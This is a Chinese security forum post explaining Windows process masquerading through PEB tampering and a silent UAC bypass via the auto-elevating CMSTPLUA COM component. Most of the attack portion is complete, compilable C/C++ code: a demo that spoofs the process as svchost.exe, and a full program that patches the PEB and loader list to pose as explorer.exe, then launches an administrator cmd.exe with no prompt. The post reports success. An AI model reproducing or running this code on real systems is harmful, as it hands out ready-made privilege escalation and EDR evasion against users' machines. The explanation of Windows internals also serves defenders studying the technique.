-
-
[原创]无声的提权:Windows攻击链中的进程伪装与UAC绕过
-
发表于: 1天前 357
-
1. 引言
在 Windows 攻击链中,许多看似基础的提权手段依然频繁奏效。在缺乏可用漏洞或需避免高风险内核操作时,攻击者会试图让提权看起来像系统应有的行为,以避免打断用户或触发告警。因此,“进程伪装”常被用于提权之前。攻击者通过塑造“合理的进程身份”而非单纯隐藏,来让 EDR 、AV 等防护产品和分析人员误以为其后续操作是合规的。
提权不只是技术问题,而是关于身份与信任的问题:
- Who:请求者的身份是否合法?
- Why & When:请求的时机与理由是否成立?
- Logic:在现有流程中,该行为是否突兀?
理解这一视角的转换,是识别“进程伪装 + 提权”攻击链的关键,也是本文讨论的重点。
2. Windows 进程的“多层身份”
Windows 的进程拥有多层复杂的“身份信息”。攻击者在进行"进程伪装"时,本质上就是在针对这些不同的"证件"和"特征"进行造假。
我们可以将进程的身份划分为以下 4 个层级:
| 信息类别 | 含义 | 包含的信息种类 | 常用检测工具 |
|---|---|---|---|
| 映像文件 | 进程在磁盘上的原始文件 | 文件路径、MD5/SHA256、数字签名、Manifest(清单文件)、资源段(版本信息) | PEStudio, DIE, PEBear |
| 用户态运行时 | 进程加载到内存的运行状态信息,是很多进程管理服务的信息来源 | PEB (ImagePath, CommandLine)、LDR 链表、环境变量、TEB、加载的 DLL 列表 | Process Hacker (System Informer) |
| 行为信息 | 进程创建后对文件、注册表、网络和其他进程等对象的操作,“你是谁不重要,重要的是你在做什么” | API 调用序列 (Hook 监控)、网络连接、注册表/文件操作、堆栈指纹 | Sysmon, Procmon, EDR 行为分析, Wireshark、火绒剑 |
| 内核信息 | Windows 内核维护的进程“真身”,是系统进行权限校验的最终依据 | EPROCESS 结构、句柄表、进程保护级别 (PsProtectedProcess) | WinDbg |
系统程序、安全软件乃至安全分析师,大多是在各自的视角下检测和验证其中的部分信息。
攻击者倾向于寻找成本最低、收益最高的进程伪装方式,以躲过安全防护软件的检测和分析师的注意,然后悄无声息地实现提权。伪造进程的内核信息,成本和风险都很高;而篡改磁盘上的映像信息又容易被静态扫描识破。
因此,攻击者的目光很自然地落在了进程的用户态运行时信息上。这是一个介于内核与用户观测之间的“灰色地带”,其中比较方便操作的就是进程环境块PEB,它既不属于内核,却又深刻影响着用户态工具和分析人员的判断。
3. 进程环境块 PEB
Windows 为了管理进程维护了很多数据结构。其中,EPROCESS 是位于内核空间的进程描述符。由于用户模式的程序无法直接访问内核空间,Windows 将一部分不那么敏感、但程序运行又频繁需要的信息放在了用户空间的进程环境块(PEB,Process Environment Block)中。每个进程都有自己独立的 PEB 结构。它位于用户态内存,用于存放特定进程状态信息的关键数据结构,包含映像基地址、加载的模块列表(PEB_LDR_DATA)、命令行参数和环境变量等,普通进程可以直接读取甚至修改它。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | //不同版本的windows系统的PEB结构体成员有些许差异typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; // 是否处于调试状态(1=被调试,0=未被调试) BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; // 模块加载器数据(已加载模块链表等) PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 指向RTL_USER_PROCESS_PARAMETERS结构体的指针,结构体包括进程的若干参数(命令行、镜像路径、当前目录等) PVOID Reserved4[3]; PVOID AtlThunkSListPtr; // ATL thunk 相关的单向链表指针 PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32;// 32位 ATL thunk 链表指针(WOW64/兼容用途) PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; // 进程初始化完成后回调 BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; // 会话 ID(用于区分交互会话/服务会话等)} PEB, *PPEB; |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | struct _RTL_USER_PROCESS_PARAMETERS{ ……………………………………………… //部分成员省略 ULONG DebugFlags; // 调试相关的标志 VOID* ConsoleHandle; // 关联的控制台句柄(对于 GUI 程序通常为 NULL) ULONG ConsoleFlags; // 控制台状态标志 ……………………………………………… // 部分成员省略 struct _CURDIR CurrentDirectory; // 当前工作目录(内含目录路径和句柄) struct _UNICODE_STRING DllPath; // 默认的 DLL 搜索路径 struct _UNICODE_STRING ImagePathName; // 【关键】进程的可执行文件完整路径(伪装核心) struct _UNICODE_STRING CommandLine; // 【关键】启动进程的完整命令行字符串(伪装核心) VOID* Environment; // 指向进程环境变量块的指针 (KEY=VALUE 字符串列表) ……………………………………………… //部分成员省略 // Windows 各个盘符的当前目录(如 C: 的当前目录,D: 的当前目录) struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; ULONGLONG EnvironmentSize; // 环境变量块的大小 ULONGLONG EnvironmentVersion; // 环境变量的版本号(用于检测更新) ……………………………………………… // 部分成员省略}; |
x86 (32位):TEB 位于 FS 段寄存器指向的地址,PEB 地址存储在 FS:[0x30]。
x64 (64位):TEB 位于 GS 段寄存器指向的地址,PEB 地址存储在 GS:[0x60]。
TEB (Thread Environment Block - 线程环境块),存储特定线程运行时的各种信息。每个线程都有自己独立的 TEB,用于管理线程本地存储 (TLS),包含异常处理链表(如 SEH 指针),存储线程的堆栈限制、线程 ID 等信息。
TEB 访问方式:在 32 位系统下通过 FS:[0] 寻址,64 位系统下通过 GS:[0] 寻址。
4. 进程伪装
4.1 PEB 伪装的代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | #include <windows.h>#include <winternl.h>#include <stdio.h>#include <wchar.h>typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; UNICODE_STRING DosPath;} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle;} CURDIR, * PCURDIR;// PEB 中存储进程参数的核心结构体typedef struct _RTL_USER_PROCESS_PARAMETERS_FULL { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; // 当前目录 UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; // 映像路径 (也就是 exe 的全路径) UNICODE_STRING CommandLine; // 命令行参数 PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; // 窗口标题 UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; ULONG_PTR EnvironmentSize;} RTL_USER_PROCESS_PARAMETERS_FULL, * PRTL_USER_PROCESS_PARAMETERS_FULL;// 重新定义 PEB 以包含完整的 Parameters 指针typedef struct _PEB_FULL { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN BitField; HANDLE Mutant; PVOID ImageBaseAddress; PVOID Ldr; PRTL_USER_PROCESS_PARAMETERS_FULL ProcessParameters; // 指向参数块 // 后面的字段对于本演示不重要,省略...} PEB_FULL, * PPEB_FULL;void MasqueradeString(UNICODE_STRING* target, const wchar_t* newString) { // 1. 计算新字符串长度 size_t len = wcslen(newString); USHORT sizeBytes = (USHORT)(len * sizeof(wchar_t)); // 2. 申请新的内存块 (在进程堆上) // 必须包含空终止符的空间,尽管 UNICODE_STRING 不强制要求空终止,但为了兼容性最好加上 wchar_t* newBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeBytes + sizeof(wchar_t)); if (newBuffer == NULL) { printf("[!] Memory allocation failed.\n"); return; } // 3. 复制内容 memcpy(newBuffer, newString, sizeBytes); // 4. 修改目标 UNICODE_STRING 的结构成员 // 这是一个原子操作的模拟,将指针指向新的地址 target->Buffer = newBuffer; target->Length = sizeBytes; target->MaximumLength = sizeBytes + sizeof(wchar_t);}int main() { // 获取当前 32位进程的 PEB 地址 // FS:[0x30] 是 32位系统下 TIB (Thread Information Block) 指向 PEB 的偏移#ifdef _WIN64 printf("[!] Error: Please compile this as x86 (32-bit) for this demonstration.\n"); return 1;#else PPEB_FULL pPeb = (PPEB_FULL)__readfsdword(0x30);#endif PRTL_USER_PROCESS_PARAMETERS_FULL pParams = pPeb->ProcessParameters; printf("====================================================\n"); printf(" PEB Spoofing / Masquerading Demo (32-bit)\n"); printf("====================================================\n\n"); printf("[*] Original Information (Read from PEB):\n"); wprintf(L" Command Line: %s\n", pParams->CommandLine.Buffer); wprintf(L" Image Path: %s\n", pParams->ImagePathName.Buffer); wprintf(L" Win Title: %s\n", pParams->WindowTitle.Buffer); printf("\n[*] Press ENTER to execute masquerading..."); getchar(); // --------------------------------------------------------- // 开始伪装 // --------------------------------------------------------- // 1. 伪装命令行 (这是最常见的,让进程看起来像是在运行合法服务) // 比如伪装成 Windows 更新服务 MasqueradeString(&pParams->CommandLine, L"C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s wuauserv"); // 2. 伪装映像路径 (部分旧工具会读取这里,而不是查询内核) MasqueradeString(&pParams->ImagePathName, L"C:\\Windows\\System32\\svchost.exe"); // 3. 伪装窗口标题 MasqueradeString(&pParams->WindowTitle, L"Service Host Process"); // 4. 伪装当前目录 MasqueradeString(&pParams->CurrentDirectory.DosPath, L"C:\\Windows\\System32\\"); // --------------------------------------------------------- // 验证结果 // --------------------------------------------------------- printf("\n[+] PEB Modified successfully!\n"); printf("[*] New Information (Read from PEB):\n"); wprintf(L" Command Line: %s\n", pParams->CommandLine.Buffer); wprintf(L" Image Path: %s\n", pParams->ImagePathName.Buffer); wprintf(L" Win Title: %s\n", pParams->WindowTitle.Buffer); printf("\n[!] Now check Task Manager (Details tab) or Process Hacker.\n"); printf(" Note: Some EDRs/Tools query the KERNEL (EPROCESS), not PEB, so they might see the real name.\n"); printf(" However, standard 'Command Line' auditing often logs the fake one.\n"); printf("\n[*] Press ENTER to exit..."); getchar(); return 0;} |


可以看到进程的部分信息已经被修改了
- 1
Command Line: C:\Windows\System32\svchost.exe-k netsvcs-p-s wuauserv - 1
Image Path: C:\Windows\System32\svchost.exe
这种修改主要欺骗的是读取 PEB 来获取进程信息的工具(某些日志审计工具、早期的反病毒软件)。
后面要实现的 UAC 绕过需要欺骗 AppInfo 服务(承载了大部分 UAC 的验证逻辑),仅仅修改 ProcessParameters 是骗不过 AppInfo 服务的。 AppInfo 还会遍历 PEB->Ldr (加载器数据),检查当前进程加载的第一个模块(即 EXE 自身)的路径。修改 LDR 链表的代码实现后面还会提到。
4.2 PEB 的局限性
从上面的结果也可以看到,只要对比一下 Command Line 的程序名称和 Image file name,就可以看出这两者不一致,肯定有问题。查看一下进程的内核结构体 EPROCESS 也能发现进程的“真实身份”,为什么这也能轻易实现提权?
关键在于 Windows 为了性能和架构的简便,AppInfo 服务(运行在 svchost.exe 中)通过 ReadProcessMemory 跨进程读取请求者的 PEB 内存块。它读取的是用户态的内存,而不是请求内核去查询 EPROCESS(内核对象)。如果系统进程频繁访问内核的结构体,会产生很大的开销。为了让 Explorer.exe 能够静默完成许多管理任务,系统必须给它开绿灯。
就好比,一个小偷用伪造的工卡想进入办公大楼,保安看过一眼就放行了,因为去调人事档案来核实身份太麻烦了。而且这个伪造的工卡本来属于每天都来单位的财务,保安无条件信任这个工卡。
当然要查一下证件照、看一下监控录像就很容易发现这个人不对劲。当等到发现的时候,小偷已经得逞了。恶意程序篡改 PEB 后立刻提权,就能顺利完成恶意操作。
这个比喻可能不太严谨,但大概是这个意思吧。
5. 权限提升
5.1 进程伪装后的 UAC 绕过
在 UAC 机制下,即便是管理员账户登录,默认启动的进程也只是中等完整性(Medium Integrity),只有通过提权操作,才能获得高完整性(High Integrity),从而真正拥有写系统目录、改注册表核心键值的权限。
提权的大致原理是系统内置的CMSTPLUA组件(实现了该接口)允许静默提权,但前提是调用者必须为受信任的系统进程。攻击者首先修改当前进程的PEB,将自身路径伪装成合法可信的进程,例如 explorer.exe。接着,代码使用CoGetObject配合Elevation提权字符串去实例化该组件。系统的AppInfo服务在校验时被PEB伪装欺骗,从而在独立的dllhost.exe中免弹窗创建了一个高权限的COM对象。最后,攻击者调用该接口的ShellExec方法启动目标程序(如cmd.exe),通过父子进程的权限继承,成功实现无弹窗获取管理员权限。
5.1.1 修改 PEB
1 2 3 4 5 | #ifdef _WIN64 PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);#else PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);#endif |
读取 PEB 之后然后修改,这个前面介绍了,这里就不多说了。
5.1.2 初始化 COM 库
CoInitialize 是 Windows API 函数,用于在当前线程上初始化组件对象模型(COM)库,并将线程设置为单线程单元(STA)模式。使用任何 COM 功能前必须调用它(内存分配函数除外),且必须与 CoUninitialize 成对使用以释放资源。
组件对象模型 (COM) 是微软开发的一种二进制接口标准,旨在实现跨编程语言(如 C++、C#、Python)和跨进程的软件组件复用。它允许以 DLL 或 EXE 形式存在的可重用二进制组件在运行时动态交互,是 ActiveX、OLE 和 DirectX 的技术基础。
1 2 3 4 5 6 7 | HRESULT CoInitialize(LPVOID pvReserved) //初始化当前线程上的 COM 库,并将并发模型标识为单线程单元 (STA)//参数:pvReserved 必须为 NULL。//常用返回值: S_OK:成功初始化 COM 库。 S_FALSE:COM 库在该线程上已经初始化过了。 RPC_E_CHANGED_MODE:该线程之前已以不同的并发模式(如 MTA)初始化过,无法更改模式。 |
5.1.3 Elevation Moniker
Elevation Moniker(COM提升名字对象)是Windows的一项安全特性,允许在UAC(用户帐户控制)限制下运行的应用程序以管理员权限激活特定的COM类。
1 2 | LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";CoGetObject(elevationMoniker, ...); |
Elevation Moniker: Elevation:Administrator!new: 是一种特殊的 COM 语法。它告诉 COM 运行时环境(COM Runtime):实例化后面这个 CLSID 对应的对象,并且要以管理员权限(High Integrity Level)来创建它。如果一个普通的、未提权的程序调用这行代码,UAC(User Account Control)会拦截请求,弹出一个确认窗口,询问用户是否允许。
CLSID (Class Identifier,类标识符) 是一个 128 位 (16 字节) 的数字,属于 GUID(全局唯一标识符)的一种,通常以带有大括号和连字符的十六进制字符串形式呈现。它用于在 Windows 系统中唯一地标识一个具体的 COM 类 (COM Class)。无论是一段处理图像的代码、一个 Excel 应用程序实例,还是一个执行系统权限提升的组件,只要它是一个 COM 对象,它就必定有一个对应的 CLSID。
当系统收到请求:“请给我创建一个 CLSID 为 {...} 的对象”时,系统是如何找到对应代码的呢?答案是查注册表。Windows 注册表中有一个专门管理这些“条形码”的庞大数据库,路径通常位于:
- HKEY_CLASSES_ROOT\CLSID\
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\

1 2 3 4 5 6 | HRESULT CoGetObject( LPCWSTR pszName, // [输入] 显示名称(关键参数) BIND_OPTS *pBindOptions, // [输入] 绑定选项(可选) REFIID riid, // [输入] 你想要的接口 ID (IID) void **ppv // [输出] 接收接口指针的变量); |
CoGetObject 的主要作用是将一个显示名称(Display Name)转换为一个对象实例。简单来说,你可以给它一个字符串(比如文件路径、URL、WMI 查询语句,或者特殊的系统命令),它会解析这个字符串,找到对应的 COM 对象,将其激活(运行),并返回一个接口指针给你。
具体工作流程如下:
- 发起请求:你的代码调用 CoCreateInstance(CLSID_Target, ...) 或 CoGetObject("new:{CLSID_Target}", ...)
- 查询注册表:COM 子系统拿着这个 CLSID 去注册表里搜索 HKCR\CLSID{你的CLSID}。
- 定位物理文件:在找到的注册表项下,会有一些关键的子项告诉系统这个组件的代码保存在硬盘的哪里:
- InprocServer32:表示这是一个 DLL 文件(会在当前进程内加载)。里面会写着类似C:\Windows\System32\cmlua.dll的路径。
- LocalServer32:表示这是一个 EXE 文件(会在独立的进程中运行)。里面会写着类似C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE的路径。
- 加载并实例化:Windows 找到对应的 DLL 或 EXE,将其加载到内存,并要求它生成一个对象实例返回给你的代码。
5.1.4 CMSTPLUA (白名单组件)
Windows 系统中有一份 COM 组件的白名单。在这个白名单上的组件,如果被请求以管理员权限启动,且请求者(Caller)是可信的 Windows 系统核心进程,系统可以配置为“静默提升” (Auto-Elevation),即不弹出 UAC 提示框直接给权限。
GUID {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 对应的是 CMSTPLUA 组件(属于“应用程序兼容性”或“颜色管理”相关组件)。这个组件被微软配置为允许自动提升,且它实现了一个非常有用的接口 ICMLuaUtil,里面包含了可以执行程序的 ShellExec 方法。
ICMLuaUtil 是 Windows 系统中一个非公开(未文档化)的 COM 接口,主要用于 CMLua 组件(Connection Manager Lua 实用程序)。CMLua 组件(全称 Connection Manager Lua)是 Windows 操作系统中“连接管理器”(Connection Manager)的一个实用程序模块,主要用于处理网络连接配置和远程访问服务, cmlua.dll 文件的形式存在于 C:\Windows\System32 目录下。
攻击者或开发者调用ShellExec时,系统内部会调用 ShellExecuteEx,从而在无需 UAC 弹窗确认的情况下,以高完整性(管理员权限)启动指定的程序或脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | HRESULT hr = E_FAIL;ICMLuaUtil* pICMLuaUtil = nullptr;LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";BIND_OPTS3 bop;memset(&bop, 0, sizeof(bop));bop.cbStruct = sizeof(bop);bop.dwClassContext = CLSCTX_LOCAL_SERVER;wprintf(L"[*] Calling CoGetObject...\n");hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);if (FAILED(hr)) { wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr); return false;}wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);if (pICMLuaUtil) pICMLuaUtil->Release();return SUCCEEDED(hr); |
5.1.5 欺骗 AppInfo Service
当调用 CoGetObject 请求自动提升时,Windows 的 AIS (Application Information Service) 会介入进行安全检查。它会检查“是谁在请求这个权限?”
AIS 的检查逻辑大致如下:
- 检查配置: 目标 COM 组件是否允许自动提升?
- 检查请求者: 发起请求的进程是否是 Windows 的可信二进制文件(如explorer.exe、taskmgr.exe等)?并且是否位于安全目录(如System32)?
在某些版本的 Windows 中(或者针对特定的 COM 接口),AIS 在判断“请求者是谁”时,过分依赖了进程内存中的 PEB(进程环境块) 信息,而不是严格校验磁盘上的文件签名或内核层的进程对象。
- 攻击发生时:
- 测试程序其实是恶意程序。
- 但测试程序在内存中修改了 PEB,把 FullDllName 改成了 C:\Windows\explorer.exe。
- AIS 读取内存,看到路径是explorer.exe,认为这是可信的系统进程。
- 结果:AIS 认为条件满足(可信进程请求白名单组件),于是放行,不弹窗,直接创建一个高权限的 COM 对象实例。
5.1.6 跨进程执行
BIND_OPTS3 是一个在 Windows Vista 及更高版本中引入的 COM 结构体(定义于 objidl.h),用于在绑定名字对象(Moniker)时指定参数。它是 BIND_OPTS2 的扩展,通过增加 COSERVERINFO 指针,允许在激活对象时指定服务器信息,从而支持更复杂的远程激活设置
1 2 3 4 5 6 7 8 9 10 11 | typedef struct tagBIND_OPTS3 { DWORD cbStruct; // 结构体总大小,必须设为 sizeof(BIND_OPTS3) 供系统版本校验 DWORD grfFlags; // 绑定控制标志(如是否允许 UI 交互等),通常设为 0 DWORD grfMode; // 访问模式(如 STGM_READWRITE 读写权限等),通常设为 0 DWORD dwTickCountDeadline; // 绑定超时的截止时间(毫秒),0 表示无时间限制 DWORD dwTrackFlags; // 链接跟踪标志(主要用于解析快捷方式),通常设为 0 DWORD dwClassContext; // 类上下文(提权核心!),CLSCTX_LOCAL_SERVER 表示在独立外挂进程中加载 LCID locale; // 区域/语言设置标识符(如中文环境),决定对象的本地化行为 COSERVERINFO *pServerInfo; // 远程服务器信息指针,用于 DCOM 远程实例化,本机执行填 NULL HWND hwnd; // 父窗口句柄,若触发 UAC 弹窗则以此为父窗口,无界面填 NULL} BIND_OPTS3, *LPBIND_OPTS3; |
1 2 3 4 5 6 7 | BIND_OPTS3 bop;memset(&bop, 0, sizeof(bop)); // 1. 清空内存(初始化)bop.cbStruct = sizeof(bop); // 2. 设置结构体大小bop.dwClassContext = CLSCTX_LOCAL_SERVER; // 3. 设置上下文(最关键的一句!)// 4. 作为参数传给 CoGetObjecthr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, ...); |
Windows 系统不断更新,结构体可能会增加新成员。通过传入结构体的大小(cbStruct),操作系统底层的函数就能知道你用的是哪个版本的结构体,从而避免读取越界或引发崩溃。memset 则是为了防止内存中有残留的垃圾数据影响执行。
dwClassContext(类上下文)决定了 COM 组件的宿主进程(Host Process)在哪里。这也是 UAC 绕过逻辑的画龙点睛之笔。
在 COM 编程中,常用的上下文有两种:
- CLSCTX_INPROC_SERVER(进程内):要求系统把 COM 组件的 DLL 直接加载到当前程序的内存空间里运行。
- CLSCTX_LOCAL_SERVER (本地进程外):要求系统另外启动一个全新的独立进程,在这个新进程里运行 COM 组件,然后你当前的程序通过 RPC(远程过程调用)和它进行通信。
CLSCTX_LOCAL_SERVER 意味着创建的 COM 对象不会加载到当前进程的内存中(因为当前进程权限低,加载不了高权限对象),而是由系统启动一个 DLL Surrogate (dllhost.exe) 进程来承载这个对象。
dllhost.exe是Windows的核心系统进程,负责在后台代理运行基于DLL的COM对象,主要用于资源管理器生成缩略图、IIS服务及程序间组件调用,位于C:\Windows\System32。
状态:
1 2 | - 测试进程 (Low/Medium Integrity) <--- RPC 通信 ---> dllhost.exe (High Integrity)- dllhost.exe 内部加载了 CMSTPLUA 组件。 |
通过把 bop 传给 CoGetObject,函数执行成功后,拿到了 pICMLuaUtil 指针,其实是一个代理指针(Proxy Pointer)。
当随后调用 pICMLuaUtil->ShellExec("cmd.exe", ...) 时:
- 并不是在自己的程序里执行这段代码。
- 测试程序会将这个指令打包,通过 RPC 发送给那个高权限的 dllhost.exe。
- dllhost.exe 接收到指令,以它的管理员身份启动了 cmd.exe。
- 由于子进程会继承父进程的权限,弹出的 cmd.exe 自然也就是管理员权限了。
5.1.7 调用 ShellExec 执行Payload
1 | pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW); |
通过 RPC(远程过程调用)向那个高权限的 dllhost.exe 发送指令,调用 ShellExec 方法。
因为 ShellExec 是在 dllhost.exe (管理员权限) 的上下文中执行的,所以它启动的子进程(这里是 cmd.exe)会自动继承父进程的权限。
最终结果:在这个高权限的 cmd.exe 中,可以执行任何需要管理员权限的操作。
以下是测试程序的完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | #include <windows.h>#include <iostream>#include <winternl.h>#pragma comment(lib, "ntdll.lib")#pragma comment(lib, "ole32.lib")// ---------------------------------------------------------// 1. 重新定义完整的内部结构(跳过 winternl.h 的限制)// ---------------------------------------------------------typedef struct _MY_PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; // 报错的那个成员就在这里 LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId;} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName;} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;// 自定义一个 PEB 结构,用来访问我们定义的 MY_PEB_LDR_DATAtypedef struct _MY_PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN IsLongPathAwareProcess : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PMY_PEB_LDR_DATA Ldr; // 使用我们自定义的 Ldr 结构 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;} MY_PEB, * PMY_PEB;// ICMLuaUtil 接口class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown {public: virtual HRESULT STDMETHODCALLTYPE Method1() = 0; virtual HRESULT STDMETHODCALLTYPE Method2() = 0; virtual HRESULT STDMETHODCALLTYPE Method3() = 0; virtual HRESULT STDMETHODCALLTYPE Method4() = 0; virtual HRESULT STDMETHODCALLTYPE Method5() = 0; virtual HRESULT STDMETHODCALLTYPE Method6() = 0; virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0;};// ---------------------------------------------------------// 2. 改进后的伪装函数// ---------------------------------------------------------bool MasqueradePEB(LPCWSTR targetPath) { wprintf(L"[*] Masquerading PEB as: %s\n", targetPath);#ifdef _WIN64 PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);#else PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);#endif // 1. 分配持久内存存储路径字符串 size_t pathLen = (wcslen(targetPath) + 1) * sizeof(WCHAR); PWSTR newPath = (PWSTR)LocalAlloc(LPTR, pathLen); if (!newPath) return false; wcscpy_s(newPath, pathLen / sizeof(WCHAR), targetPath); UNICODE_STRING usPath; RtlInitUnicodeString(&usPath, newPath); // 2. 修改 ProcessParameters (ImagePathName) pPEB->ProcessParameters->ImagePathName = usPath; pPEB->ProcessParameters->CommandLine = usPath; // 3. 修改 LDR 链表 (关键修复) // 这里 pPEB->Ldr 现在指向的是我们自定义的 MY_PEB_LDR_DATA PLIST_ENTRY pHead = &pPEB->Ldr->InLoadOrderModuleList; PLIST_ENTRY pCurrent = pHead->Flink; // 获取第一个模块节点 (当前进程的模块) PMY_LDR_DATA_TABLE_ENTRY pLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)pCurrent; // 修改模块名 pLdrEntry->FullDllName = usPath; PCWSTR fileName = wcsrchr(targetPath, L'\\'); if (fileName) { fileName++; UNICODE_STRING usBaseName; RtlInitUnicodeString(&usBaseName, fileName); pLdrEntry->BaseDllName = usBaseName; } wprintf(L"[+] PEB and LDR successfuly patched.\n"); return true;}// ---------------------------------------------------------// 3. COM 提升函数 (UAC Bypass)// ---------------------------------------------------------bool UACBypass(LPCWSTR payloadExe) { HRESULT hr = E_FAIL; ICMLuaUtil* pICMLuaUtil = nullptr; LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"; BIND_OPTS3 bop; memset(&bop, 0, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER; wprintf(L"[*] Calling CoGetObject...\n"); hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil); if (FAILED(hr)) { wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr); return false; } wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe); hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW); if (pICMLuaUtil) pICMLuaUtil->Release(); return SUCCEEDED(hr);}int main() { CoInitialize(NULL); // 1. 伪装 if (MasqueradePEB(L"C:\\Windows\\explorer.exe")) { // 2. 执行 UAC 绕过 if (!UACBypass(L"C:\\Windows\\System32\\cmd.exe")) { wprintf(L"[-] Bypass failed.\n"); } } CoUninitialize(); system("pause"); return 0;} |
改变了 PEB 的 CommandLine
也改变了 LDR (Loader) 模块链表

cmd 进程被创建,窗口左上角显示 “管理员:C:\Windows\System32\cmd.exe”。没有弹出需要确认管理员权限的窗口。

